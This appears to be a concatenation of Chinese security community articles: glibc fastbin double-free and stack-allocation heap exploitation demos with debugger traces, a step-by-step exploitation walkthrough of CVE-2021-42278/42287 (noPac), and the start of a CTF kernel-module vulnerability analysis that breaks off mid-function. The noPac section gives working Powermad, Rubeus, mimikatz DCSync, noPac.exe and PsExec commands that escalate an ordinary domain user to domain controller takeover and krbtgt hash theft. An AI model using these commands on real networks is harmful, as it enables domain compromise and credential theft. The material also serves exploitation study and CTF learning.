fprintf(stderr, "Freeing the first one...n");
free(a);
//如果再free一次a,程序就会crash,因为a是free链上的最顶的chunk
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.n", a, a);
// free(a);
//因此我们free b
fprintf(stderr, "So, instead, we'll free %p.n", b);
free(b);
//现在再free一次a
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.n", a);
free(a);
//现在我们的free链变成了 a->b->a
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %pn", malloc(8));
fprintf(stderr, "2nd malloc(8): %pn", malloc(8));
fprintf(stderr, "3rd malloc(8): %pn", malloc(8));
}
### 运行结果
运行一下康康
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xd07010
2nd malloc(8): 0xd07030
3rd malloc(8): 0xd07050
Freeing the first one...
If we free 0xd07010 again, things will crash because 0xd07010 is at the top of the free list.
So, instead, we'll free 0xd07030.
Now, we can free 0xd07010 again, since it's not the head of the free list.
Now the free list has [ 0xd07010, 0xd07030, 0xd07010 ]. If we malloc 3 times, we'll get 0xd07010 twice!
1st malloc(8): 0xd07010
2nd malloc(8): 0xd07030
3rd malloc(8): 0xd07010
### 关键部分调试
这里我们一共下4个断点,分别在每次free前和最后分配的时候
首先看看没free前的堆
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到一共三块空间a,b,c
然后我们先free a
pwndbg> bins
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
然后free b
pwndbg> bins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
然后再free a
pwndbg> bins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到已经构成了一个chunk 环即a->b->a,然后我们再分配空间
3rd malloc(8): 0x602010n0x602010, 0x602030, 0x602010 ]. If we malloc 3 times, we'll get 0x602010 twice!
成功分配了两次a的空间
_注:这里要注意mem内存指针和chunk指针不一样,mem内存指针也就是给用户的内存指针,并不是chunk头指针_
### 总结
程序先malloc了三块内存a,b,c
然后先释放a,再释放b,最后再释放一次a
此时的free list为a->b->a
然后再malloc3次分配到了a,b,a的内存,此时我们就得到了两次a的内存,修改其中任意一个就会影响另一块,这也就是double free的攻击demo了
而fastbin 的 double free为什么能成功呢?
这里借用[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/)的一段话:
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
所以只要不是连续释放同一个堆块即可,想要验证的同学可以把文中注释掉free(a)的那一行取消注释编译运行一下:-)
## 0x03 fastbin_dup_consolidate
### 源代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%pn", p1, p2);
fprintf(stderr, "Now free p1!n");
free(p1);
void* p3 = malloc(0x400);
//分配一个large bin来触发malloc_consolidate函数
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%pn", p3);
//通过malloc_consolidate函数我们可以把free掉的p1移动到unsorted bin中
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.n");
free(p1);
##然后就可以触发double free漏洞了
fprintf(stderr, "Trigger the double free vulnerability!n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.n");
//现在p1既在unsorted bin中又在fastbin中,因此我们再分配两次p1大小的内存,就可以分配到同一款内存
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %pn", malloc(0x40), malloc(0x40));
}
### 运行结果
Allocated two fastbins: p1=0x14ba010 p2=0x14ba060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x14ba0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x14ba010 0x14ba010
### 关键部分调试
**part 1**
这里我们把断点下在第一次free p1 ,malloc p3,第二次free p1和最后的分配内存部分,也就是
Line number 20 out of range; glibc_2.25/fastbin_dup_consolidate.c has 19 lines.
pwndbg> b 11
Breakpoint 1 at 0x4006b6: file glibc_2.25/fastbin_dup_consolidate.c, line 11.
pwndbg> b 13
Breakpoint 2 at 0x4006c4: file glibc_2.25/fastbin_dup_consolidate.c, line 13.
pwndbg> b 16
Breakpoint 3 at 0x40070b: file glibc_2.25/fastbin_dup_consolidate.c, line 16.
pwndbg> b 19
Breakpoint 4 at 0x400782: file glibc_2.25/fastbin_dup_consolidate.c, line 19.
之后我们运行一下
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0,
size = 81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0,
size = 135009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到此时的p1被放到了fastbin中,然后我们malloc一个0x400的大chunk,这样就会触发malloc_consolidate()
此时的堆
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 81,
fd = 0x7ffff7dd1bb8 <main_arena+152>,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 80,
size = 80,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0,
size = 133969,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty
这个时候,我们之前free掉的chunk已经被放进了small bin中
**part 2**
**划重点,这个过程中到底发生了什么呢?**
1. 问题一:啥是malloc_consolidate函数??
我们直接看源代码吧
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
atomic_store_relaxed (&av->have_fastchunks, false);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, NULL);
if (p != 0) {
do {
{
unsigned int idx = fastbin_index (chunksize (p));
if ((&fastbin (av, idx)) != fb)
malloc_printerr ("malloc_consolidate(): invalid chunk size");
}
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size in fastbins");
unlink_chunk (av, p);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink_chunk (av, nextchunk);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
这里我做一个解释
先确定堆是否被初始化了(也就是get_max_fast()函数),如果没有就初始化堆，然后退出函数
从 fastbin 中获取一个空闲 chunk,尝试向后合并
如果不能向后合并就尝试向前合并
如果向前合并的时候与top_chunk相邻,就直接归到top_chunk中
如果并不相邻就插入到unsorted bin,然后继续取fastbin chunk直到fastbin list为空结束
本例中的触发代码为:
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
1. 说好的unsorted bin呢????
这还是得从glibc的实现说起,为什么调试的时候我们的chunk并不在unsorted bin中而是在small bin中呢?
对glibc不太熟悉的同学可以先看下我之前的文章[glibc内存管理机制](https://nightrainy.github.io/2019/05/06/glic%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/)
这部分可以在我的文章中搜索large bin直接到第8个地方,不想跳转的同学我这里也做一下简短的解释
我们在分配largebin时,ptmalloc会先遍历一下fastbin,将相邻的 chunk 进行合并，并链接到 unsorted bin 中然后遍历
unsorted bin 中的 chunk，如果 unsorted bin 只 有一个 chunk，并且这个 chunk
在上次分配时被使用过，并且所需分配的 chunk 大 小属于 small bins，并且 chunk 的大小大于等于需要分配的大小，这种情况下就直接将该
chunk 进行切割，分配结束，否则将根据 chunk 的空间大小将其放入 small bins 或是 large bins 中
这就是为什么不在unsorted bin而在small bin中的原因了
下面就是一点点的拓展
然后如果连large bin中都没有合适的,那就只能从top chunk中分割出一部分了,如果连top
chunk也不满足,那就会mmap或brk一块内存增加top chunk的大小
**part 3**
之后我们继续调试,我们现在第二次free p1,此时的堆结构
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 81,
fd = 0x0,
bk = 0x7ffff7dd1bb8 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 80,
size = 80,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0,
size = 133969,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty
这里就可以看到他既在smallbins中又在fastbin中了,这又是为什么呢?
因为再free的时候ptmalloc会发现fastbin是空的,因此就把他扔到fastbin中去了
此时就可以分配两次p1了,一次系统会在fastbin中取出(优先查看fastbin),第二次就会在smallbins中取出:)
### 总结
程序先malloc了两个fastbin chunk(0x40),然后free掉第一个chunk
这里为啥不free第二个呢,因为如果free第二个的话就会和top chunk相邻了,此时会触发top chunk的合并
之后程序调用了malloc函数malloc了一个large
bin,触发了malloc_consoldate()函数,导致我们free掉的chunk1被放入了small bin中
然后程序第二次free chunk1,ptmalloc会先看fastbin中有没有,发现没有,于是就把chunk1放到fast
bin中了,这时chunk1就在fastbin和smallbin中各有一个
此时程序再申请两次0x40的chunk,ptmalloc先从fastbin中把chunk1取出来给用户,然后再从smallbin中再次把chunk1取出来给用户
我们就有了两个拥有同样内存的chunk
## 0x04 fastbin_dup_into_stack
### 源代码
这里我也加了一点点小翻译:)
#include <stdio.h>
#include <stdlib.h>
int main()
{
//这个程序就是fast_dup.c的2.0版本,作用就是欺骗系统把malloc的地址转到我们所能控制内容的栈上,也就是让下一次分配内存时在我们所能控制的栈上分配
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc inton"
"returning a pointer to a controlled location (in this case, the stack).n");
unsigned long long stack_var;
//我们控制分配的地址就是这个栈上变量的地方
fprintf(stderr, "The address we want malloc() to return is %p.n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %pn", a);
fprintf(stderr, "2nd malloc(8): %pn", b);
fprintf(stderr, "3rd malloc(8): %pn", c);
fprintf(stderr, "Freeing the first one...n");
free(a);
//这里还是一样的,不能连续释放同一个chunk
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.n", b);
free(b);
//这里再次,释放a,double free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.n", a, b, a, a);
//现在第一次分配内存,取出chunk a 赋给chunk d
unsigned long long *d = malloc(8);
//现在分配两次内存,取出chunk a,chunk b
fprintf(stderr, "1st malloc(8): %pn", d);
fprintf(stderr, "2nd malloc(8): %pn", malloc(8));
//现在free list就只剩下一个chunk a了
fprintf(stderr, "Now the free list has [ %p ].n", a);
//现在的chunk a是free list的头chunk了,现在我们把一个假的free size写到栈上,这个时候ptmalloc就会认为栈上有一个free的chunk,就会把指针回转给他了
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,n"
"so that malloc will think there is a free chunk there and agree ton"
"return a pointer to it.n", a);
stack_var = 0x20;
//现在我们把栈指针的向前八个字节写成0x20,也就是伪造free size,然后把他赋给d
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
//这个时候就把栈指针写到了free list上了,此时再分配就是在栈上分配了
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free listn", malloc(8));
fprintf(stderr, "4th malloc(8): %pn", malloc(8));
}
### 运行结果
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffe5c42b638.
Allocating 3 buffers.
1st malloc(8): 0x632010
2nd malloc(8): 0x632030
3rd malloc(8): 0x632050
Freeing the first one...
If we free 0x632010 again, things will crash because 0x632010 is at the top of the free list.
So, instead, we'll free 0x632030.
Now, we can free 0x632010 again, since it's not the head of the free list.
Now the free list has [ 0x632010, 0x632030, 0x632010 ]. We'll now carry out our attack by modifying data at 0x632010.
1st malloc(8): 0x632010
2nd malloc(8): 0x632030
Now the free list has [ 0x632010 ].
Now, we have access to 0x632010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x632010 to point right before the 0x20.
3rd malloc(8): 0x632010, putting the stack address on the free list
4th malloc(8): 0x7ffe5c42b638
### 关键部分调试
本次程序我在第41行,也就是给stack赋值之前的地方,第49行即给d赋值后,最后一个是在52行即最后的地方下断点
此时运行程序,我们看一下堆:
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x603020,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603040 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x603060 PREV_INUSE {
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
可以看到这个时候我们已经有了一个free的回环链
程序继续运行,d已经赋完了值,我们可以看到他的fb指针已经是stack_var的地址了
pwndbg> x/10gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffe5f8 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000603000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
这个时候我们看看bins
pwndbg> bins
fastbins
0x20: 0x603000 —▸ 0x7fffffffe5f8 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看到free list中已经有了栈指针,那么这个时候我们再分配就可以分配到栈的内存空间了
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x7fffffffe5f8,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603040 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x603060 PREV_INUSE {
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
### 总结
程序先在栈上定义了一个变量stack_var
之后malloc了三个chunk a,b,c
之后做了一个double free,形成了一个a->b->a的free链
此时再次malloc了一个大小一样的chunk d,这个时候chunk d会拿出chunk a
之后我们又申请了一个一样大小的chunk出来拿出了b,这个时候链上就只剩下一个a了
此时我们伪造了stack_var,把他伪装成了一个free chunk,并且赋值给了chunk d,也就是chunk a,此时fd指针被伪造成了fake
chunk,形成了一个新的free链
最后再申请内存的时候,我们就取出了栈上的内存
如上 | 社区文章 |
作者：进德修业行道@深蓝实验室
# 前言
网络安全技术学习，承认⾃⼰的弱点不是丑事。只有对原理了然于⼼，才能突破更多的限制。拥有快速学习能力的白帽子，是不能有短板的，有的只能是大量的标准板和几块长板。知识⾯，决定看到的攻击⾯有多⼴；知识链，决定发动的杀伤链有多深。
# 一、漏洞原理
* CVE-2021-42278，机器账户的名字一般来说应该以`$`结尾，但AD没有对域内机器账户名做验证。
* CVE-2021-42287，与上述漏洞配合使用，创建与DC机器账户名字相同的机器账户（不以$结尾），账户请求一个TGT后，更名账户，然后通过S4U2self申请TGS Ticket，接着DC在`TGS_REP`阶段，这个账户不存在的时候，DC会使用自己的密钥加密`TGS Ticket`，提供一个属于该账户的`PAC`，然后我们就得到了一个高权限ST。
* 假如域内有一台域控名为 DC（域控对应的机器用户为 DC$），此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$，再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户，自动去搜索 DC$（DC$是域内已经的域控DC 的 sAMAccountName），攻击者利用刚刚申请的 TGT 进行 S4U2self，模拟域内的域管去请求域控 DC 的 ST 票据，最终获得域控制器DC的权限。
# 二、手工复现
## 1、操作流程
# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
## 2、拥有一个普通域账户
net user xxx /domain
## 3、尝试攻击
## 3.1、利用 powermad.ps1 新增机器帐号（域用户默认可以新建机器账户）
命令
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose
## 3.2、clear its SPNs（清除SPN信息）
Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose
## 3.3、reset the computer name（重设机器名称）
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose
## 3.4、Request TGT （请求TGT）
.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap
## 3.5、Change Machine Account samaccountname（改回原来属性）
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose
## 3.6、Request S4U2self（获取票据）
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t
## 3.7、获取 kbrtgt 用户的 NTLM Hash
lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x
# 三、sam-the-admin复现
## 前置条件：
需要一个域用户
## 利用过程：
## 拿主域控
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用
漏洞证明
## 拿子域控
python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用
漏洞证明
## 问题
低版本的kali可能会面临可以拿到票据，但是无法列出命令执行的窗口
# 四、impacket工具包复现
# 五、CVE-2021-42287/CVE-2021-42278 工具利用
## 1、下载地址
github
## 2、实际操作
## 2.1、扫描探测
.\noPac.exe scan -domain x.x.x -user x -pass 'x'
测试开始之前查看域控根目录提示拒绝访问
dir \x.x.x\c$
## 2.2、直接利用(打子域是同样方法)
./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt
此时已可以查看域控根目录
ls \x.x.x\c$
## 注意问题
如果使用cifs协议的话，时间过长之后票据会失效
如果使用ldap协议的话，票据不会失效
## 2.3、深度利用
## 使用PsExec横向移动
通过noPac.exe使用cifs协议后，可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器
PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe
利用过程
直接提升到system权限，查看IP确实为域控IP
# 网络安全感悟
做网络安全是一个长期的过程，因为做网络安全没有终点，不管是网络安全企业，还是在网络安全行业各种不同方向的从业人员，不管你选择哪个方向，只有在这条路上坚持不懈，才能在这条路上走的更远，走的更好，不然你肯定走不远，迟早会转行或者被淘汰，把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业，坚持走下去就可以了，不用去管别人，现在就是一个大浪淘金的时代，淘下去的是沙子，留下来的才是金子，正所谓，千淘万漉虽辛苦，吹尽狂沙始到金，网络安全的路还很长，一生只做一件事，坚持做好一件事！ | 社区文章 |
# Union CTF 2021 nutty 内核漏洞题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 保护
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel bzImage \
-nographic \
-smp 1 \
-cpu kvm64,+smep,+smap \
-append "console=ttyS0 quiet kaslr" \
-initrd rootfs.cpio \
-monitor /dev/null \
--no-reboot \
-s
开启的保护：
SMEP SMAP KPTI
## 0x1 源码分析
从`file_operations`可以看出这是一个内核下的菜单题目，提供add、delete、show、append功能。
static const struct file_operations file_ops = {
.owner = THIS_MODULE,
.unlocked_ioctl = handle_ioctl,
};
static long handle_ioctl(struct file *f, unsigned int cmd, unsigned long arg){
long ret;
req* args = kmalloc(sizeof(req), GFP_KERNEL);
copy_from_user(args, arg, sizeof(req));
if (cmd == 0x13371){
ret = create(args);
}
else if (cmd == 0x13372){
ret = delete(args);
}
else if (cmd == 0x13373){
ret = show(args);
}
else if (cmd == 0x13374){
ret = append(args);
}
else{
ret = -EINVAL;
}
return ret;
}
关于`create`函数：限制申请`0 -1024`大小的堆块，会先通过`read_contents`申请一个大小`content_length`临时堆块，用来存放用户输入的内容，然后再申请`size`大小的堆块来存入临时堆块的内容，并把地址放到`nuts`数组里。但是如果`content_length`设置为为0，就会只申请`size`的堆块，不会申请临时堆块，这一点可以用于泄漏信息。
static int create(req* arg){
int size = read_size(arg);
char* contents = read_contents(arg);
int i;
for (i = 0; i < 10; i++){
if (nuts[i].contents == NULL){
break;
}
}
if (i == 10){
printk(KERN_INFO "creation error");
return -EINVAL;
}
if (size < 0 || size >= 1024){
printk(KERN_INFO "bad size");
return -EINVAL;
}
nuts[i].size = size;
nuts[i].contents = kmalloc(size, GFP_KERNEL);
if (contents != 0){
memcpy_safe(nuts[i].contents, contents, size); //size > length , read heap overflow.
kfree(contents);
}
else {
printk("bad content length!");
return -EINVAL;
}
return 0;
}
// Return a content ptr which will be alloced in kernel.
static char* read_contents(req* arg){
char* to_read = (char*) arg->contents;
int content_length = arg->content_length;
if (content_length <= 0){
printk(KERN_INFO "bad content length");
return 0;
}
char* res = kmalloc(content_length, GFP_KERNEL);
copy_from_user(res, to_read, content_length);
return res;
}
关于`delete`函数：没啥可说的。只是`kfree`指定堆块，并清空`nuts`数组在此处的信息。
static int delete(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
printk(KERN_INFO "deleting at 0x%px", nuts[idx].contents);
kfree(nuts[idx].contents);
nuts[idx].contents = NULL;
nuts[idx].size = 0;
return 0;
}
关于`show`函数：输出`nuts`数组内指定堆块的信息。
static int show(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);
return 0;
}
关于`append`函数：用户提供的`size`加上`nuts`数组上指定堆块的`size`成为新的`size`，申请新的堆块先存放旧堆块的内容，然后再在之后填入新的内容。`kfree`掉旧的堆块，更新`nuts`数组。
static int append(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
int new_size = read_size(arg) + nuts[idx].size;
if (new_size < 0 || new_size >= 1024){
printk(KERN_INFO "bad new size!\n");
return -EINVAL;
}
char* tmp = kmalloc(new_size, GFP_KERNEL);
memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
kfree(nuts[idx].contents);
char* appended = read_contents(arg);
if (appended != 0){
memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);
kfree(appended);
}
nuts[idx].contents = tmp;
